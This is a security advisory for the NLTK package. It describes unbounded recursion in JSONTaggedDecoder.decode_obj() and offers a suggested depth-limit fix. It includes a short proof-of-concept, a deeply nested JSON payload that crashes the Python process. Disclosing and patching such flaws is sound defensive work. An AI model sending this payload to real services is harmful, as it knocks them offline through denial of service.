PyPI: nltk

GHSA-rf74-v2fm-23pw

Safety vulnerability ID: SFTY-20260318-30374

### Summary `JSONTaggedDecoder.decode_obj()` in `nltk/jsontags.py` calls itself recursively without any depth limit. A deeply nested JSON structure exceeding `sys.getrecursionlimit()` (default: 1000) will raise an unhandled `RecursionError`, crashing the Python process. ### Affected code File: `nltk/jsontags.py`, lines 47–52 ```python @classmethod def decode_obj(cls, obj): if isinstance(obj, dict): obj = {key: cls.decode_obj(val) for (key, val) in obj.items()} elif isinstance(obj, list): obj = list(cls.decode_obj(val) for val in obj) ``` ### Proof of Concept ```python import sys, json from nltk.jsontags import JSONTaggedDecoder depth = sys.getrecursionlimit() + 50 # e.g. 1050 payload = '{"x":' * depth + "null" + "}" * depth # Raises RecursionError, crashing the process json.loads(payload, cls=JSONTaggedDecoder) ``` ### Impact Any code path that passes externally-supplied JSON to `JSONTaggedDecoder` is vulnerable to denial of service. The severity depends on whether such a path exists in the calling code (e.g. `nltk/data.py`). ### Suggested Fix Add a depth parameter with a hard limit: ```python @classmethod def decode_obj(cls, obj, _depth=0): if _depth > 100: raise ValueError("JSON nesting too deep") if isinstance(obj, dict): obj = {key: cls.decode_obj(val, _depth + 1) for (key, val) in obj.items()} elif isinstance(obj, list): obj = list(cls.decode_obj(val, _depth + 1) for val in obj) ```

Created at: Mar 18, 2026Updated at: Mar 18, 2026

Overview

Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS

Advisory

Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS

Affected Package

Affecting nltk package, versions
<= 3.9.3

Also affects

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How to Fix

We recommend updating nltk to the latest non-vulnerable version.

Mitigation and Workarounds

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Vulnerable Functions

Functions linked to known vulnerabilities.

Vulnerable function data is available for Enterprise customers

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Safety

Verified by Safety

Our Cybersecurity Intelligence Team reviewed this vulnerability. We combine public data with our own research to find issues not yet reported to public sources.

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